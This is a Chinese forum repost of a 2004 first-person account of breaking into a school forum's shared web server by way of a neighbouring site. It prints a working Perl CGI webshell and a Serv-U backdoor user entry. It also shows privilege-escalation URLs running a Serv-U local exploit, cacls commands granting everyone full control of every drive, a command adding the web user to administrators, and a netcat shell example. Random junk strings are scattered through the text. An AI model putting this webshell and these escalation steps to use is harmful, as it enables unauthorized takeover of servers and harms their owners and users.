找回密码
 立即注册
查看: 2533|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ( O2 f0 u8 {% J7 N2 K% p8 l
本文作者:angel
( x: A# r! b+ c; O# b& S2 L文章性质:原创
; g+ _8 ^& E( V! T7 w5 z3 j发布日期:2004-11-09 1 c" D3 c. [& |( x2 U4 F+ k( C: P* C
注意:
, a4 J; \. K* b, t+ K5 f: Q+ W& i本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
6 i! V( |0 `9 ]本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
9 ]9 N, b2 U" \: l3 t2 X' h$ M- K3 k! y8 J9 {0 t* k- x
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
' _+ B3 ?! z2 A. z3 b5 }$ u
9 G* U9 ?/ m6 G" K1 D5 p  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 3 F- s+ \: ~1 @4 q
  U# J  u- B, M9 q6 |, P, O" D, _
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 Z/ a! r6 j+ U, u

3 y  k3 g- X( Y6 B& g% ]0 C. [1 Q! _  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ) t2 ~7 i( T8 S
8 p" r+ e" ^. Z7 y! C( j/ P7 z; y/ g
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
5 W* x6 K2 C5 x+ V5 T6 D
  m, V3 m; _5 s6 [  没有目的的跳转目录着…… % j  {1 t  p/ a! W3 E  C
6 g6 F2 x3 E" G9 C
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
! d# A6 l) B4 y5 O4 H5 B; ~5 T4 b& ^6 g
  结束了吗?不,我试着 FTP 一下: ) m& m- {5 B2 i8 I( g0 d

9 J& U- q8 }! V- T- I8 I! zMicrosoft Windows 2000 [Version 5.00.2195]1 R6 p  Z# A4 ^( W
(C) 版权所有 1985-2000 Microsoft Corp. 2 ~( b4 u1 z& u- |- u

" r0 b* {( Z& j6 B0 Q9 pC:\Documents and Settings\Administrator>ftp www.school.com
" {! U  L+ l2 g! T% a$ cConnected to www. school.com.
" v* ^6 b6 U- K7 ?5 b; y220 Welcome to FTP Server...
+ R0 ?& I- i& u  f, a9 ]# AUser (www.bjtrq.com:(none)):
7 |( C* f7 e  Q& p& _' E331 User name okay, need password. 5 z) W$ y- d: K
Password: $ O$ I& O8 X5 k( @
530 Not logged in.
. \* ]2 Z7 X* [8 L* ^Login failed. 7 P) f( v. [* y: A
ftp> bye ! P4 q) ^1 f4 p8 f1 F' Q
221 Goodbye!
8 A+ b+ y5 R! C) U; p
! @, u8 x( J3 W; {4 T8 V
7 O1 T- X# R3 h4 _5 q  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… . n- ~- i! i7 ~# e

; W# U, A& J4 C  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
3 ~- w1 X2 x6 S/ n* n* W
4 [. W5 p' x' Q3 Y$ hApplication Data
9 q2 i2 y/ w: Z0 sDocuments
* x. z8 b. `+ b6 ^$ [. e/ f! {DRM' d* p* \+ C$ h! U: H) }
Favorites$ K$ |; y; c! F) K' N
Templates' D: ~# u- D% N0 K. `
「开始」菜单& O" F) `. k! g$ F$ O
桌面/ R! o! c9 P( t9 ]
: W1 u' `2 T! R3 Q8 W, S: D0 }
* N2 G# k7 c, R
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ; r! P9 |, ?5 ]8 T: u1 M
# s0 B/ k. L. v7 Q
ActiveState ActivePerl 5.8
$ f$ e# M$ O; jAdministrative Tools
+ ?% A$ p& p  I) |' C) x3 ODeerfield.com
/ N7 @- a, H# Q/ m/ WDTemp9 }# J) q2 C' K2 X
IPSentry
/ \" F) ^( B, I6 uMBM 52 B# C! Q( t* {' Z: n5 z
NetMeter
# M' p& @6 Q7 d2 H' ]$ n2 rNetwork ICE) O( [. h& G$ ~
Persits Software AspEmail
  A* X: H% v) J4 S  R# KPersits Software AspJpeg* F! ]9 |1 [% e# l
Serv-U FTP Server7 V$ j+ A: ?8 N, X8 B
Symantec Client Security
3 Q# c: }( ^. L" @$ t) nWindows 优化大师1 ~0 _; L- C* f" _7 k
WinRAR
9 |/ O4 m5 ]0 c" Q3 Q1 Q# C启动
2 A- ^; I0 }4 o管理工具
+ [& c5 Z/ m- @' Q附件
7 Z3 u/ [1 O& y5 m1 |: g3 C6 q 0 M! S7 T- \1 |0 S2 C# H/ ~: {
0 R$ C, D5 J- N# N! }6 P- R, x
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
6 S1 ~' a) v" O( ~# d
9 @3 ~. f' m% x, a+ W: W  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
9 q4 E" \2 S/ u$ U2 ~5 D
( k7 R0 }' A. G* I1 L& q; RUser281=angel|1|0
& S% g3 t  W) C% T3 @) E' j 6 U7 g4 a4 ^- u1 q# k* k. e
% c4 f; U) A2 I5 [( k' ?
  然后加上 ; m7 \) `% `. @- l, y, Y

* n# C1 F! z& C[USER=angel|1]7 I  L% j6 B) b# l1 z+ Y$ ~: i
Password=ng98F85379EA68DBF97BAADCA99B69B805
# d# f3 O$ }- V$ a5 P. X! mHomeDir=D:\websites. B! f5 @; W; E: ?/ j
RelPaths=1: i& Z3 [4 u( v1 J  B. m
TimeOut=600; A3 w- R, Y2 s! y: K/ Y
Maintenance=System( D, ]) q; J! N( Z5 g' o; o
Access1=D:\websites|RWAMELCDP
% o* V4 F$ c; d! Y0 FSKEYValues=
, \, `- K1 \. Z  N/ w# K& ~" q
0 j2 i6 K% ?( D2 I
8 a4 n! F# i+ V  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ' \  D3 Q( u1 ~

' S. T( a6 T# A8 V' h$ Q. X$ g' C  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 . F* U8 D- ~' f$ g0 L/ r8 ~
# S' ~# P+ B- V& B8 |  n$ T
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 5 R! @% W5 s6 l
& V3 U7 L2 G& }2 |; K& W
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:   }, W% u( `, ~
+ o, K; k* N3 D% j' a* ]4 R* f6 U
#!/usr/bin/perl5 u' {  n0 s5 I
binmode(STDOUT);
) N# d) \5 X/ s. a3 c2 E3 bsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);  b' q# e, l( m
$_ = $ENV{QUERY_STRING};6 H* G4 U' n7 Z5 @9 _6 |8 Z
s/%20/ /ig;# t/ v( h- q9 g' W4 N
s/%2f/\//ig;; p) N$ J2 x4 t5 y3 @
$execthis = $_;
( k6 e# P7 o9 X( |+ [2 N) y% |6 `syswrite(STDOUT, "<HTML><PRE>\r\n", 13);, u( i  O7 X4 T6 n3 t/ q
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";7 b, \0 h) V$ D# d! A: u; [
system($execthis);" T# |7 ~; H  z( ^) W* J
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
6 Z5 Q0 |5 b% c, A# V4 ~% Dclose(STDERR);
; G9 e8 m3 c/ ^) e9 L1 `8 gclose(STDOUT);
. v3 \% s8 f0 ]7 Q  @) A$ Kexit;, ^" f/ ]  Y4 J/ j+ a# j

7 j6 x; M% b7 o: F+ o4 R% R6 {% J: d+ A0 f% E7 z) G# A
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 6 X: A& h* I$ ?5 S, j# e: F6 {

9 v4 K" C  f$ X- v& F  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 3 ^. r( F7 q+ Q  R- C( l

4 ]# `2 q: i' l- X  o0 q% J% r* Y. {http://anyhost//cmd.pl?d:\user\bin\su.exe $ }+ {+ |  [* d8 `3 v0 L
0 w. {: G+ z8 [/ s3 v' K

* l8 W. m6 B- z  返回: & D3 e. W5 @0 }& g8 ~8 Z3 j

: U3 F( l. N+ ]: u- NServ-u >3.x Local Exploit by xiaolu
2 N& i3 T1 `3 o% \
/ r8 s( z/ s( c( q, D; l; [USAGE: serv-u.exe "command" ) z) F/ z/ y- f( z
# a/ c% w8 f( A) S0 n( p" V
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" - z7 g1 y, ?" w/ J+ l& X

( z) y* b- ^8 w& m# y( C- ?9 ^4 D. s
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 1 J" O  `6 |$ M% M. l$ }6 T  \

$ V3 A& ?' n4 ]! _9 xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
* a- O0 n' ?- k" O2 f2 L, L8 c$ ]! a( a4 W- g6 A: m, s; f
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 7 F6 M. \* r- a3 U! ~
+ V: u( @# M9 J6 i) C) r
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
; w9 n; t$ R( ]. r
2 I, ~6 O- k. Y- r( V2 Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
/ a4 a- @0 ^1 ~; @8 L8 [1 G9 e( Y - c' M0 ~% \$ C; a" m* p6 G

2 ^  i: s9 e& a! |+ V4 L2 [2 J  返回下面的信息,就表示成功了!!!
# e+ Q' [& ^- b
( f8 ~, A. ]4 [2 w7 N6 U: y4 GServ-u >3.x Local Exploit by xiaolu ! k" A& t8 c6 H7 h! S$ @1 A: G$ ^
3 |, Q7 t8 [& K- D" M) F* J' W
<220 Serv-U FTP Server v5.2 for WinSock ready... % f+ i/ l! w# j" k

9 ?" j2 U! ?5 ?2 ?" u; o>USER LocalAdministrator
; `& H% O. D% {6 f: }) s( n* W1 ]  F0 z) {
<331 User name okay, need password.
3 f' F+ P5 O. r) a9 K2 [$ p. A8 ?7 P  }- {/ c
****************************************************** : ~* _/ v. Q# `4 Z

$ C1 Z4 d) H5 k% f' V2 J; u/ \" V0 S>PASS #l@$ak#.lk;0@P . c: n6 o, M9 Z- J1 A# A4 n

1 x6 K* c$ A6 X0 m- s# d: }<230 User logged in, proceed.
; z& i3 P9 t! |. }  c6 M
+ n( @* {. x3 h2 w% f& K******************************************************
, n$ B) k, L2 x& O9 P
- x1 J% g  H. {$ v  e>SITE MAINTENANCE
8 T' |0 M% }  k  A$ D1 J5 v# L+ R" L5 E5 H- m
******************************************************
* F$ i: Q% g% Z7 [$ A$ C% g* x0 y7 N" k7 l& Y' g5 z3 y5 Z' a
[+] Creating New Domain... ) \5 C: }4 o; m0 b

, a  ]! g# b: V) h; A! s- \$ W7 c<200-DomainID=2
) D% T3 N- a; T9 U% b7 }) Q$ p
4 h" \" J8 K( N; g, r3 r8 u" s$ A% U<220 Domain settings saved
5 a! v& @+ Z. e- Y! ]! m  E  U6 u& R. J* c5 g$ x
****************************************************** 5 H$ N; E4 R$ @( P/ ?
% B; ]5 O6 O5 O. q# {2 J) n( i% a
[+] Domain xl:2 Created
" K+ e2 t5 ?: M0 ^8 x7 P/ Q0 A; l; }/ S5 a
[+] Creating Evil User ) S: K0 u' K; {, z

2 L" R# {3 t- W: u$ v5 `" W<200-User=xl ; M& P! U& Y; p( y
1 a/ _" z. f, o- J# [, S
200 User settings saved ( x5 b$ {' W; f% W

: h; t) P% B/ ]: T" k3 p6 ~1 k****************************************************** ) S6 F( o% N+ R" @7 u- J5 y$ p5 z

! ?) L. [2 [3 j+ U/ x[+] Now Exploiting... 1 w1 |+ H& E6 @8 v/ w4 H4 I7 x& Z
( e* P8 Z. C* n6 y& c
>USER xl   V$ F- K) U2 D; V

( z. Z6 m$ O$ d& B. n<331 User name okay, need password. 9 l6 J) v; i3 |* {+ H# `- l

; z. J8 x2 \, q: @****************************************************** 9 n6 v+ Y- Q) `% O* d+ L9 ^2 F3 I

8 o3 g  W% s7 a  e>PASS 111111 - R3 Y0 d2 t( b- L

: C2 |( I* }) n9 f% p<230 User logged in, proceed.
; f9 {2 Y5 X3 {9 J' i! E$ _+ b% G& |; T$ o" Y( r
******************************************************
: B1 A: b6 N3 U7 [8 n9 D2 r8 M; o4 `) X) X: j& @, z0 ~
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
) T% Q$ S) E6 E, W; x  s# b# {8 [  A1 Y, N1 o' W/ y
<220 Domain deleted
+ j6 m# r# x1 r4 P. Y! v1 R* A7 F
- o/ k/ e6 n$ T* J* h! x******************************************************
9 J' W; F9 z) z6 f  R1 v 3 I$ W4 }* j: W$ V' F% p2 C1 i
1 N; N1 \8 h  p# E5 ]! u
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: # r# w2 p' \; r) l* x
) {& t" Y) K) C, e" c
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
& J  P% _5 y- @- U9 W9 h! P + P" z$ _6 A' w% A
- n/ Q3 _# n' |1 S
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
& r3 O. K7 Z: d- X0 S% i7 f; Q: R
! C# y' Y3 U* U  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。( F- V8 h: {8 p* r/ C0 b
9 |- ^3 n' X7 l! I6 f
  - J7 y8 i' J1 e! z( H! @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表